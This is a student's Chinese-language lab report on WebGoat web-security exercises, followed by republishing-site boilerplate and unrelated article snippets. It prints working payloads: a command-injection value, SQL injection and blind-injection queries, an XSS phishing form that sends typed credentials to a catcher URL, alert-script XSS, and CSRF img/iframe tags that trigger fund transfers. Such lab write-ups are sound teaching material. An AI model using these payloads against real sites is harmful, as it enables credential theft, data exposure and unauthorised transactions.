2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

目录:

  • 一 . 实验要求

  • 二 . 实验过程记录
    • 1 . Webgoat安装
    • 2 . SQL注入的攻击
      • 命令注入(Command Injection)
      • 数字型注入(Numeric SQL Injection)
      • 日志欺骗(Log Spoofing)
      • SQL 注入(LAB: SQL Injection)
      • 字符串注入(String SQL Injection)
      • 数据库后门(Database Backdoors)
      • 数字型盲注入(Blind Numeric SQL Injection)
      • 字符串型盲注入(Blind String SQL Injection)
    • 3 . XSS攻击
      • XSS 钓鱼(Phishing with XSS)
      • 存储型XSS攻击(Stored XSS Attacks)
      • 反射型XSS攻击(Reflected XSS Attacks)
    • 4 . CSRF攻击
      • 跨站请求伪造(Cross Site Request Forgery (CSRF))
      • 绕过 CSRF 确认( CSRF Prompt By‐Pass)
  • 三 . 实验基础问题回答
  • 四 . 试验中遇到的问题
  • 五 . 实验总结与体会


一 . 实验要求

  • 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。

二 . 实验过程记录

1 . Webgoat的安装

  • 因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
  • 下载webgoat-container-7.0.1-war-exec.jar,再将其拷贝到虚拟机中
  • 普通安装,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar
  • 浏览器转:localhost:8080/WebGoat
  • 直接用默认用户名密码登录即可,开始练习
    image

2 . SQL的注入攻击

1.Command Injection

  • 选择 Injection Flaws -> Command Injection
  • 右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
  • 点击 view,看到网络端口使用情况和 IP 地址,攻击成功
    image

2.Numeric SQL Injection

  • 选择 Injection Flaws -> Numeric SQL Injection
  • 右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"进行修改,在城市编号101后面添加or 1=1
  • 点击Go,可以看到攻击成功
    image

    3.日志欺骗(Log Spoofing)

  • 通过在日志文件中插入脚本实现欺骗。在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
  • 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
    image

4.SQL 注入(LAB: SQL Injection)

  • 选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
    image
  • 用该用户信息进行登录,攻击成功,并获得账户信息的列表。
    image

    5.字符串盲注入:Blind String SQL Injection

  • 前提是要知道pin值,这次查询的是一个字符串而不是数值。
  • 输入:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
  • 将1换成2:
101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
  • 最后使用二分法测试,最终得到PIN的字段为:Jill
    image

3 . XSS的攻击

1.XSS钓鱼:

  • 编写一个带有用户名的和密码框的表格:
//脚本
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} 
</script>
<form name="phish">
<br>
<br>
//表格
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们。
    image

2.存储型XSS攻击:Stored XSS Attacks

  • 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
  • 根据题目要求,在留言板中输入<script>alert("You've been attacked!!!");</script>
  • 再次点击刚刚创建的帖子,可以看到弹出窗口:
    image

3.反射型XSS攻击:Reflected XSS Attacks

  • 原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
  • 目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
  • 具体操作:输入代码<script>alert("hhhhh You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈:
    image
    ---

4 . CSRF的攻击

1.跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

  • 查看页面右侧Parameters中的src和menu值,分别为267和900
    在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框。
  • 这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
  • 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。
    1296414-20190523231607148-18738243.png
  • 查看页面下侧Parameters中的src和menu值,命名title,message框中输入代码:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe><iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>

1296414-20190523231615340-2060179107.png
1296510-20190524223741520-1474492105.png


三 . 实验基础问题回答

  • (1) SQL注入的原理是什么,如何进行防御呢?

    • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
    • 防御手段:
      • 对用户的输入进行校验。
        不要使用动态拼装sql,可以使用参数化的sql- 或者直接使用存储过程进行数据查询存取。
      • 不要使用管理员权限的数据库连接,为每个- 应用使用单独的权限有限的数据库连接。
      • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
      • 应用的异常信息应该给出尽可能少的提示。
        采取辅助软件或网站平台来检测sql注入。
  • (2) XSS攻击的原理是什么,如何进行防御呢?

    • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
    • 防御手段:
      • 特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
      • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      • 实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • (3) CSRF攻击原理是什么,如何进行预防呢?
    • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
      防御手段:
      • 在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
      • “双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
      • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

五 . 实验总结与体会

  • 这是最后一次的实验了,这次实验在前期软件的安装上花费了大量的时间,后面的照着操作就问题不大,主要是对攻击概念的理解。

转载于:https://www.cnblogs.com/0630tx/p/10922917.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/350440.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python不同目录调用_python3 不同目录间模块调用

#Author by Andy#_*_ coding:utf-8 _*_#__file__获取当前程序的相对路径import os,sys#print(__file__)# os.path.abspath(__file__) 获取当前程序的绝对路径print(os.path.abspath(__file__))# E:\my python study\day4\Atm\bin\atm.pyPathos.path.abspath(__file__)# print(o…

python 安装虚拟环境virtualenv

1.sudo apt install virtualenv 安装失败 2.sudo apt-get update 更新失败 提示&#xff1a; E: 仓库 “http://mirrors.aliyun.com/ubuntu artful Release” 不再含有 Release 文件。N: 无法安全地用该源进行更新&#xff0c;所以默认禁用该源。N: 参见 apt-secure(8) 手册以了…

python内存管理_Python内存管理(一):预备知识

一、内存的理解你可以将计算机中的内存理解为一本为短期存储而设计的书。这本书中现在什么都没写&#xff0c;但最终不同的“作者”会来寻求空间&#xff0c;写入他们想写的故事。由于他们之间不能彼此覆盖&#xff0c;他们在开始写入之前一定要向这本书的管理者申请&#xff0…

javacv 人脸检测_使用JavaCV进行手和手指检测

javacv 人脸检测这篇文章是Andrew Davison博士发布的有关自然用户界面&#xff08;NUI&#xff09;系列的一部分&#xff0c;内容涉及使用JavaCV从网络摄像头视频提要中检测手。 注意&#xff1a;本章的所有源代码都可以从http://fivedots.coe.psu.ac.th/~ad/jg/nui055/下载。…

vector赋值的常见错误

易范错误1&#xff1a; vector<int> a; for (int i 0; i<10; i) a[i] i; //这种做法以及类似的做法都是错误的。下标只能用于获取已存在的元素&#xff0c;而现在的a[i]还是空的对象 正确做法1&#xff1a; vector<int> a; for (int i 0; i<10; i) a&…

python的pandas库中如何计算每列出现最多的值_Python Pandas中根据列的值选取多行数据...

Pandas中根据列的值选取多行数据# 选取等于某些值的行记录 用 df.loc[df[column_name] some_value]# 选取某列是否是某一类型的数值 用 isindf.loc[df[column_name].isin(some_values)]# 多种条件的选取 用 &df.loc[(df[column] some_value) & df[other_column].isin…

补码运算。

一.补码加法。 先求出两个数的补码。补码相加。最后的结果为补码&#xff0c;若要取得真值需再次求补。超过模的进位需丢掉。二.补码减法。 三.溢出检测 转载于:https://www.cnblogs.com/Ravenzzz/p/10930014.html

Oracle JDK 9 Early Access文档已更新

Raymond Gallardo在2017年4月4日发布的针对Oracle JDK 9的抢先体验文档 已更新&#xff0c;今天宣布对Oracle JDK9文档的抢先体验页面进行了更新。 Gallardo重点介绍了一些更新的部分&#xff0c;包括Oracle JDK 9的新增功能 &#xff0c; Oracle JDK 9迁移指南 &#xff0c; H…

python 读取当前文件夹下所有后缀为.lib文件

# -*- coding: utf-8 -*-import os def file_name(file_dir):for root, dirs, files in os.walk(file_dir):#print(root) # 当前目录路径#print(dirs) # 当前路径下所有子目录print(files) # 当前路径下所有非目录子文件file_name(file_dir) #输出当前文件夹下所有后缀为.li…

python分割字符串输出_python字符串分割

内置split()函数 str.split(sepNone, maxsplit-1)sep为自定义分割符&#xff0c;maxsplit为最大分割次数&#xff0c;默认值-1进行全部分割注意以下区别&#xff1a;str.split() 以空格分割&#xff0c;包括连续空格str.split( ) 同样以空格分割&#xff0c;但是不能识别连续空…

python requests 10041报错_Python-Requests1-批量登录获取uid

需求&#xff1a;从表格取不同的手机号和密码登录&#xff0c;获取不同用户的信息&#xff0c;写入本地表格requests官网&#xff1a;https://github.com/requests/requests1、安装Requests模块1、官网下载requests包2、解压&#xff0c;命令行进入python目录&#xff0c;运行安…

pdf保存如何带批注_带有批注的SpringSelenium测试

pdf保存如何带批注这篇文章描述了如何在Java中实现Selenium测试。 它的灵感来自Alex Collins的帖子&#xff0c;并带有注释。 该代码可在GitHub的Spring-Selenium-Test目录中找到。 一些替代方法和更轻巧的技术可用于对Spring MVC应用程序进行单元测试。 要进行单元测试服务&am…

javax.naming.NamingException: Cannot load JDBC driver class 'com.mysql.jdbc.Driver'

解决办法&#xff1a; Tomcat服务器的根目录下也有一个lib目录,也要把mysql的驱动包放进去转载于:https://www.cnblogs.com/kingdaqi/p/10935916.html

Spring教程:使用Spring框架和Spring Boot创建Hello World REST API

由于Java社区对早期版本的Enterprise Java感到失望&#xff0c;因此创建了Spring Framework 。 从那时起&#xff0c;它已经发展成为一个巨大的生态系统&#xff0c;可以解决构建基于Web的Java应用程序中的所有问题以及更多问题。 经常批评Spring&#xff0c;因为Spring过去常常…

Testner自动化测试平台免费开放啦

swift&#xff08;雨燕&#xff09;是目前世界上飞行速度最快的鸟之一&#xff0c;尖尾雨燕平时飞行的时速为170公里&#xff0c;最快可达到325.5公里。恰恰自动化测试的主要目的就是为了提高测试效率&#xff0c;因此&#xff0c;Testner自动化测试平台也叫 swift Testner自动…

seleniumpython定位网页元素方法_使用Selenium对网页元素进行定位的诸种方法

使用Selenium进行自动化操作&#xff0c;首先要做的就是通过webdriver的get()方法打开一个URL链接。在打开链接&#xff0c;完成页面加载之后&#xff0c;就可以通过Selenium提供的接口&#xff0c;在页面上进行各种操作了&#xff0c;下面我们来了解一下如何在查找元素。3.1 查…

有赞全链路压测方案

转载于:https://www.cnblogs.com/wuzhiyi/p/10944934.html

python 消息队列 get是从队首还是队尾取东西_python分布式爬虫中消息队列知识点详解...

当排队等待人数过多的时候&#xff0c;我们需要设置一个等待区防止秩序混乱&#xff0c;同时再有新来的想要排队也可以呆在这个地方。那么在python分布式爬虫中&#xff0c;消息队列就相当于这样的一个区域&#xff0c;爬虫要进入这个区域找寻自己想要的资源&#xff0c;当然这…

mime类型是什么类型_使用多种MIME类型测试REST

mime类型是什么类型1.概述 本文将重点介绍测试具有多种媒体类型/表示形式的RESTful服务。 这是有关使用Spring和基于Java的配置的Spring Security设置安全的RESTful Web服务的系列文章的第十篇。 REST with Spring系列&#xff1a; 第1部分 – 使用Spring 3.1和基于Java的配置…

Go-Mutex互斥量

先来看一段go1.12.5中Mutex的源码&#xff1a; // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file.// Package sync provides basic synchronization primiti…